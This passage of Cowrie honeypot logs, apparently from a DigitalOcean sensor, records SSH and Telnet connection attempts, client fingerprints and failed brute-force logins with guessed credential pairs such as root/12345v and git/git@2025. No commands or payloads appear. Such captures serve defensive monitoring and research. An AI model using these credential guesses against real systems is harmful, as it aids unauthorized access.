{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":50592,"dst_ip":"10.17.0.5","dst_port":22,"session":"587630f59247","protocol":"ssh","message":"New connection: 46.19.67.181:50592 (10.17.0.5:22) [session: 587630f59247]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:58:57.730318Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:58:57.737693Z","src_ip":"46.19.67.181","session":"587630f59247","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:58:57.855922Z","src_ip":"46.19.67.181","session":"587630f59247","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345v","message":"login attempt [root/12345v] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:58:58.210724Z","src_ip":"46.19.67.181","session":"587630f59247","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00189232826233,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:58:58.882212Z","src_ip":"152.42.224.71","session":"c431ddaca20b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:58:59.330248Z","src_ip":"46.19.67.181","session":"587630f59247","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57264,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ac35f8bb289","protocol":"telnet","message":"New connection: 152.42.224.71:57264 (10.17.0.5:23) [session: 5ac35f8bb289]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:59:08.747437Z"}
{"eventid":"cowrie.session.closed","duration":35.13487768173218,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:59:13.189027Z","src_ip":"152.42.224.71","session":"a9797a747156","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49154,"dst_ip":"10.17.0.5","dst_port":23,"session":"acd8741072a2","protocol":"telnet","message":"New connection: 152.42.224.71:49154 (10.17.0.5:23) [session: acd8741072a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:59:19.142789Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":45580,"dst_ip":"10.17.0.5","dst_port":22,"session":"6be4a266fcdd","protocol":"ssh","message":"New connection: 193.32.162.145:45580 (10.17.0.5:22) [session: 6be4a266fcdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:59:26.427197Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:59:26.431615Z","src_ip":"193.32.162.145","session":"6be4a266fcdd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:59:26.547203Z","src_ip":"193.32.162.145","session":"6be4a266fcdd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"firedancer","message":"login attempt [ubuntu/firedancer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:59:27.055106Z","src_ip":"193.32.162.145","session":"6be4a266fcdd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.531879425048828,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:59:28.123682Z","src_ip":"152.42.224.71","session":"ee1ceb6609b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:59:28.173665Z","src_ip":"193.32.162.145","session":"6be4a266fcdd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.117.179.232","src_port":52550,"dst_ip":"10.17.0.5","dst_port":22,"session":"cc78040a2f4c","protocol":"ssh","message":"New connection: 45.117.179.232:52550 (10.17.0.5:22) [session: cc78040a2f4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:59:31.737591Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:59:31.743301Z","src_ip":"45.117.179.232","session":"cc78040a2f4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:59:31.983619Z","src_ip":"45.117.179.232","session":"cc78040a2f4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git@2025","message":"login attempt [git/git@2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:59:32.972767Z","src_ip":"45.117.179.232","session":"cc78040a2f4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:59:34.216540Z","src_ip":"45.117.179.232","session":"cc78040a2f4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44816,"dst_ip":"10.17.0.5","dst_port":23,"session":"819fde122dcb","protocol":"telnet","message":"New connection: 152.42.224.71:44816 (10.17.0.5:23) [session: 819fde122dcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:59:36.587019Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54458,"dst_ip":"10.17.0.5","dst_port":23,"session":"98b332431c23","protocol":"telnet","message":"New connection: 152.42.224.71:54458 (10.17.0.5:23) [session: 98b332431c23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:59:37.861802Z"}
{"eventid":"cowrie.session.closed","duration":52.68701434135437,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:00:11.829713Z","src_ip":"152.42.224.71","session":"acd8741072a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":64.43594574928284,"message":"Connection lost after 64 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:00:13.183275Z","src_ip":"152.42.224.71","session":"5ac35f8bb289","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.12964224815369,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:00:13.716583Z","src_ip":"152.42.224.71","session":"819fde122dcb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40940,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c1a4804c61c","protocol":"telnet","message":"New connection: 152.42.224.71:40940 (10.17.0.5:23) [session: 3c1a4804c61c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:00:14.706413Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.19.117.129","src_port":51526,"dst_ip":"159.203.135.109","dst_port":22,"session":"38650dfb5211","protocol":"ssh","message":"New connection: 139.19.117.129:51526 (159.203.135.109:22) [session: 38650dfb5211]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:00:19.417759Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:00:19.423127Z","src_ip":"139.19.117.129","session":"38650dfb5211","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f1e5e9d24e5e345e8745613bde22d532","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f1e5e9d24e5e345e8745613bde22d532","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:00:19.516993Z","src_ip":"139.19.117.129","session":"38650dfb5211","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fd:40:17:b1:b9:e6:60:fd:d4:c8:35:e3:b8:c5:47:a8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAgQCo4/GdNuR0rfJimWOVylIIsGKZkeOP4kyge8H5R1Li9S4TnmRicWX6AMIS4RDksObuqiuZF1G08PD8ClgJZCbDUxVfwcyOGdGqjc1DhTn0+NSEr/beXe7amxOmOqoNliUmAgptVvEBQ/RH5yXMunbqS+TwkQG1VqDy8ihu6FW3UQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fd:40:17:b1:b9:e6:60:fd:d4:c8:35:e3:b8:c5:47:a8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:00:19.707667Z","src_ip":"139.19.117.129","session":"38650dfb5211","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fd:40:17:b1:b9:e6:60:fd:d4:c8:35:e3:b8:c5:47:a8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAgQCo4/GdNuR0rfJimWOVylIIsGKZkeOP4kyge8H5R1Li9S4TnmRicWX6AMIS4RDksObuqiuZF1G08PD8ClgJZCbDUxVfwcyOGdGqjc1DhTn0+NSEr/beXe7amxOmOqoNliUmAgptVvEBQ/RH5yXMunbqS+TwkQG1VqDy8ihu6FW3UQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:00:19.715553Z","src_ip":"139.19.117.129","session":"38650dfb5211","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fd:40:17:b1:b9:e6:60:fd:d4:c8:35:e3:b8:c5:47:a8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAgQCo4/GdNuR0rfJimWOVylIIsGKZkeOP4kyge8H5R1Li9S4TnmRicWX6AMIS4RDksObuqiuZF1G08PD8ClgJZCbDUxVfwcyOGdGqjc1DhTn0+NSEr/beXe7amxOmOqoNliUmAgptVvEBQ/RH5yXMunbqS+TwkQG1VqDy8ihu6FW3UQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fd:40:17:b1:b9:e6:60:fd:d4:c8:35:e3:b8:c5:47:a8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:00:19.817231Z","src_ip":"139.19.117.129","session":"38650dfb5211","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fd:40:17:b1:b9:e6:60:fd:d4:c8:35:e3:b8:c5:47:a8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAgQCo4/GdNuR0rfJimWOVylIIsGKZkeOP4kyge8H5R1Li9S4TnmRicWX6AMIS4RDksObuqiuZF1G08PD8ClgJZCbDUxVfwcyOGdGqjc1DhTn0+NSEr/beXe7amxOmOqoNliUmAgptVvEBQ/RH5yXMunbqS+TwkQG1VqDy8ihu6FW3UQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:00:19.821647Z","src_ip":"139.19.117.129","session":"38650dfb5211","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39720,"dst_ip":"10.17.0.5","dst_port":23,"session":"bdbc9b711781","protocol":"telnet","message":"New connection: 152.42.224.71:39720 (10.17.0.5:23) [session: bdbc9b711781]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:00:21.310555Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39736,"dst_ip":"10.17.0.5","dst_port":23,"session":"f76002f4b161","protocol":"telnet","message":"New connection: 152.42.224.71:39736 (10.17.0.5:23) [session: f76002f4b161]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:00:24.153824Z"}
{"eventid":"cowrie.session.closed","duration":47.141408920288086,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:00:25.003089Z","src_ip":"152.42.224.71","session":"98b332431c23","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:00:29.418358Z","src_ip":"139.19.117.129","session":"38650dfb5211","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":56488,"dst_ip":"10.17.0.5","dst_port":22,"session":"913633480d1c","protocol":"ssh","message":"New connection: 51.250.105.222:56488 (10.17.0.5:22) [session: 913633480d1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:00:37.481665Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:00:37.487336Z","src_ip":"51.250.105.222","session":"913633480d1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:00:37.621476Z","src_ip":"51.250.105.222","session":"913633480d1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"maximus","message":"login attempt [root/maximus] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:00:38.019255Z","src_ip":"51.250.105.222","session":"913633480d1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:00:39.152389Z","src_ip":"51.250.105.222","session":"913633480d1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35066,"dst_ip":"10.17.0.5","dst_port":23,"session":"f9bbf0cf0464","protocol":"telnet","message":"New connection: 152.42.224.71:35066 (10.17.0.5:23) [session: f9bbf0cf0464]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:00:54.550905Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48132,"dst_ip":"10.17.0.5","dst_port":23,"session":"39d1802d9fb0","protocol":"telnet","message":"New connection: 152.42.224.71:48132 (10.17.0.5:23) [session: 39d1802d9fb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:01:04.794600Z"}
{"eventid":"cowrie.session.closed","duration":48.17273807525635,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:01:12.326437Z","src_ip":"152.42.224.71","session":"f76002f4b161","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.117.179.232","src_port":34634,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a548dd008dd","protocol":"ssh","message":"New connection: 45.117.179.232:34634 (10.17.0.5:22) [session: 3a548dd008dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:01:15.599777Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:01:15.605234Z","src_ip":"45.117.179.232","session":"3a548dd008dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh